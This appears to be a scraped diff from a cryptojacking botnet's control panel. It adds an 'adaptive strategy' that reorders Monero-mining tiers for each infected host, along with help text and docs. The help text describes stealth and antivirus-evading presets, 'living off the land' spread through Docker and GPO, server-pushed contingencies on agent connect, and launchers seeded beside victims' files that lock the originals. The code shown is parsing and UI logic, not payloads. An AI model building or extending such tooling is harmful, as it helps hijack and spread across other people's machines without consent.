environment_probes?: EnvironmentProbes;
|
||||||
tier_chain_order?: string[];
|
tier_chain_order?: string[];
|
||||||
@@ -21,6 +35,8 @@ export interface AccessDepthDiagnostics {
|
|||||||
lotl_attempts?: TierAttempt[];
|
lotl_attempts?: TierAttempt[];
|
||||||
active_method?: string;
|
active_method?: string;
|
||||||
execution_mode?: string;
|
execution_mode?: string;
|
||||||
|
adaptive_strategy?: AdaptiveStrategyView;
|
||||||
|
strategy_reasoning?: StrategyReason[];
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface AccessDepthServerPolicy {
|
export interface AccessDepthServerPolicy {
|
||||||
@@ -72,7 +88,10 @@ export interface AccessDepthModel {
|
|||||||
miningOnion: OnionTierRow[];
|
miningOnion: OnionTierRow[];
|
||||||
spreadOnion: OnionTierRow[];
|
spreadOnion: OnionTierRow[];
|
||||||
tripleOnionSummary?: string;
|
tripleOnionSummary?: string;
|
||||||
miningOrderSource: 'agent' | 'server' | 'default';
|
miningOrderSource: 'agent' | 'server' | 'default' | 'adaptive';
|
||||||
|
adaptiveActive: boolean;
|
||||||
|
strategyReasoning: StrategyReason[];
|
||||||
|
adaptiveConfidence?: number;
|
||||||
}
|
}
|
||||||
|
|
||||||
/** Default mining tier onion pushed at agent auth when Calibrate sends no override. */
|
/** Default mining tier onion pushed at agent auth when Calibrate sends no override. */
|
||||||
@@ -122,6 +141,9 @@ export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): Acces
|
|||||||
(typeof raw.active_tier === 'string' && raw.active_tier) ||
|
(typeof raw.active_tier === 'string' && raw.active_tier) ||
|
||||||
undefined;
|
undefined;
|
||||||
|
|
||||||
|
const adaptive = parseAdaptiveStrategy(raw.adaptive_strategy);
|
||||||
|
const reasoning = parseStrategyReasoning(raw.strategy_reasoning) ?? adaptive?.reasoning;
|
||||||
|
|
||||||
return {
|
return {
|
||||||
environment_probes: parseEnvironmentProbes(raw.environment_probes),
|
environment_probes: parseEnvironmentProbes(raw.environment_probes),
|
||||||
tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined,
|
tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined,
|
||||||
@@ -130,9 +152,44 @@ export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): Acces
|
|||||||
lotl_attempts: attempts.length ? attempts : undefined,
|
lotl_attempts: attempts.length ? attempts : undefined,
|
||||||
active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined,
|
active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined,
|
||||||
execution_mode: typeof raw.execution_mode === 'string' ? raw.execution_mode : undefined,
|
execution_mode: typeof raw.execution_mode === 'string' ? raw.execution_mode : undefined,
|
||||||
|
adaptive_strategy: adaptive,
|
||||||
|
strategy_reasoning: reasoning,
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function parseStrategyReasoning(raw: unknown): StrategyReason[] | undefined {
|
||||||
|
if (!Array.isArray(raw)) return undefined;
|
||||||
|
const out: StrategyReason[] = [];
|
||||||
|
for (const row of raw) {
|
||||||
|
if (!row || typeof row !== 'object') continue;
|
||||||
|
const r = row as Record<string, unknown>;
|
||||||
|
if (typeof r.fact !== 'string' || typeof r.inference !== 'string' || typeof r.action !== 'string') continue;
|
||||||
|
out.push({ fact: r.fact, inference: r.inference, action: r.action });
|
||||||
|
}
|
||||||
|
return out.length ? out : undefined;
|
||||||
|
}
|
||||||
|
|
||||||
|
function parseAdaptiveStrategy(raw: unknown): AdaptiveStrategyView | undefined {
|
||||||
|
if (!raw || typeof raw !== 'object') return undefined;
|
||||||
|
const row = raw as Record<string, unknown>;
|
||||||
|
const tier_order = Array.isArray(row.tier_order)
|
||||||
|
? row.tier_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
||||||
|
: undefined;
|
||||||
|
const skip_tiers = Array.isArray(row.skip_tiers)
|
||||||
|
? row.skip_tiers.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
||||||
|
: undefined;
|
||||||
|
const reasoning = parseStrategyReasoning(row.reasoning);
|
||||||
|
const confidence = typeof row.confidence === 'number' ? row.confidence : undefined;
|
||||||
|
const updated_at = typeof row.updated_at === 'string' ? row.updated_at : undefined;
|
||||||
|
if (!tier_order?.length && !reasoning?.length) return undefined;
|
||||||
|
return { tier_order, skip_tiers, reasoning, confidence, updated_at };
|
||||||
|
}
|
||||||
|
|
||||||
|
function ordersDiffer(a: readonly string[], b: readonly string[]): boolean {
|
||||||
|
if (a.length !== b.length) return true;
|
||||||
|
return a.some((tier, i) => tier.toLowerCase() !== b[i]?.toLowerCase());
|
||||||
|
}
|
||||||
|
|
||||||
function platformLabel(platform?: string): string {
|
function platformLabel(platform?: string): string {
|
||||||
const p = (platform || '').toLowerCase();
|
const p = (platform || '').toLowerCase();
|
||||||
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
|
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
|
||||||
@@ -199,7 +256,17 @@ function resolveMiningOrder(
|
|||||||
diag: AccessDepthDiagnostics | undefined,
|
diag: AccessDepthDiagnostics | undefined,
|
||||||
policy: AccessDepthServerPolicy | undefined,
|
policy: AccessDepthServerPolicy | undefined,
|
||||||
agent: Agent,
|
agent: Agent,
|
||||||
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' } {
|
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } {
|
||||||
|
if (diag?.adaptive_strategy?.tier_order?.length) {
|
||||||
|
const adaptiveOrder = diag.adaptive_strategy.tier_order;
|
||||||
|
if (ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER) || (diag.strategy_reasoning?.length ?? 0) > 0) {
|
||||||
|
return {
|
||||||
|
order: adaptiveOrder,
|
||||||
|
skipped: diag.adaptive_strategy.skip_tiers ?? diag.tier_chain_skipped ?? [],
|
||||||
|
source: 'adaptive',
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
if (diag?.tier_chain_order?.length) {
|
if (diag?.tier_chain_order?.length) {
|
||||||
return {
|
return {
|
||||||
order: diag.tier_chain_order,
|
order: diag.tier_chain_order,
|
||||||
@@ -341,6 +408,9 @@ export function buildAccessDepthModel(
|
|||||||
})),
|
})),
|
||||||
tripleOnionSummary: `recon: ${recon.slice(0, 3).join(' → ')}… · deploy: ${deploy.slice(0, 3).join(' → ')}…`,
|
tripleOnionSummary: `recon: ${recon.slice(0, 3).join(' → ')}… · deploy: ${deploy.slice(0, 3).join(' → ')}…`,
|
||||||
miningOrderSource: source,
|
miningOrderSource: source,
|
||||||
|
adaptiveActive: source === 'adaptive',
|
||||||
|
strategyReasoning: diagnostics?.strategy_reasoning ?? diagnostics?.adaptive_strategy?.reasoning ?? [],
|
||||||
|
adaptiveConfidence: diagnostics?.adaptive_strategy?.confidence,
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,9 @@
|
|||||||
/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
|
/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
|
||||||
|
|
||||||
|
/** Mining tier order can be personalized per host by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies. */
|
||||||
|
export const ADAPTIVE_STRATEGY_HELP =
|
||||||
|
'Mining tier order can be personalized per host fingerprint by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies.';
|
||||||
|
|
||||||
export const DEFAULT_LOTL_ONION_TIERS = [
|
export const DEFAULT_LOTL_ONION_TIERS = [
|
||||||
'vuln_recon',
|
'vuln_recon',
|
||||||
'docker',
|
'docker',
|
||||||
|
|||||||
@@ -28,6 +28,10 @@ export const FIELD_HELP: Record<string, string> = {
|
|||||||
'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.',
|
'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.',
|
||||||
forge_lotl_onion:
|
forge_lotl_onion:
|
||||||
'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
|
'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
|
||||||
|
adaptive_strategy:
|
||||||
|
'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on).',
|
||||||
|
lotl_onion_tiers:
|
||||||
|
'Ordered spread contingency chain for LOTL Onion forges with lotl_policy_from_server. Mining tier order is separate (mining_tier_policy / adaptive_strategy). Spread tiers apply on reconnect without re-forge; adaptive strategy can reorder mining tiers proactively from fleet stats.',
|
||||||
forge_path_forge:
|
forge_path_forge:
|
||||||
'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
|
'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
|
||||||
forge_recommended_defaults:
|
forge_recommended_defaults:
|
||||||
|
|||||||
@@ -50,6 +50,12 @@ Phases 5–7 and 7b are skipped with `-SkipBuild`. Phase 8 is skipped with `-Ski
|
|||||||
|
|
||||||
Playbook: [`/docs/SPREAD_TECHNIQUES.html#lotl-onion`](../server/web/public/docs/SPREAD_TECHNIQUES.html#lotl-onion). Recon regression: `scripts/test-suite.ps1 -ReconOnly` after landing agents.
|
Playbook: [`/docs/SPREAD_TECHNIQUES.html#lotl-onion`](../server/web/public/docs/SPREAD_TECHNIQUES.html#lotl-onion). Recon regression: `scripts/test-suite.ps1 -ReconOnly` after landing agents.
|
||||||
|
|
||||||
|
## Adaptive Strategy
|
||||||
|
|
||||||
|
The server **adaptive strategy engine** (`server/internal/strategy/`) learns from your fleet only: OS fingerprint, Docker/WSL/GPU probes, subnet, `lotl_attempts`, and `mining_hashrate`. On agent auth it pushes `adaptive_strategy` with a personalized `tier_order`, optional `skip_tiers`, and a human-readable `strategy_reasoning[]` trace (weighted scoring — not a black-box LLM). Background rescoring runs every 5 minutes from `stats_batch` / `tier_report` ingestion into SQLite `tier_outcomes`. Adaptive overrides **order and skip hints** only; it does not change wallet, `patch_first`, or other triple-onion gates. Disable via Calibrate `server.adaptive_strategy_enabled` (default `true`). Manual refresh: `POST /api/v1/strategy/recompute`. Crucible **Access Depth → Strategy** shows reasoning bullets and an **Adaptive** badge when the server order differs from default.
|
||||||
|
|
||||||
|
Regression: `go test ./internal/strategy/... ./internal/api/ -run Adaptive` (server) and Vitest `AccessDepthPanel.test.tsx`.
|
||||||
|
|
||||||
## LOTL architecture (triple onion)
|
## LOTL architecture (triple onion)
|
||||||
|
|
||||||
The **triple onion** chains three phases on every agent connect (when enabled): **recon → deploy → mining**. Policy gates (`patch_first`, `skip_mining_on_high_risk`) can defer deploy or mining when `vuln_findings` exceed thresholds.
|
The **triple onion** chains three phases on every agent connect (when enabled): **recon → deploy → mining**. Policy gates (`patch_first`, `skip_mining_on_high_risk`) can defer deploy or mining when `vuln_findings` exceed thresholds.
|
||||||
|
|||||||
Reference in New Issue
Block a user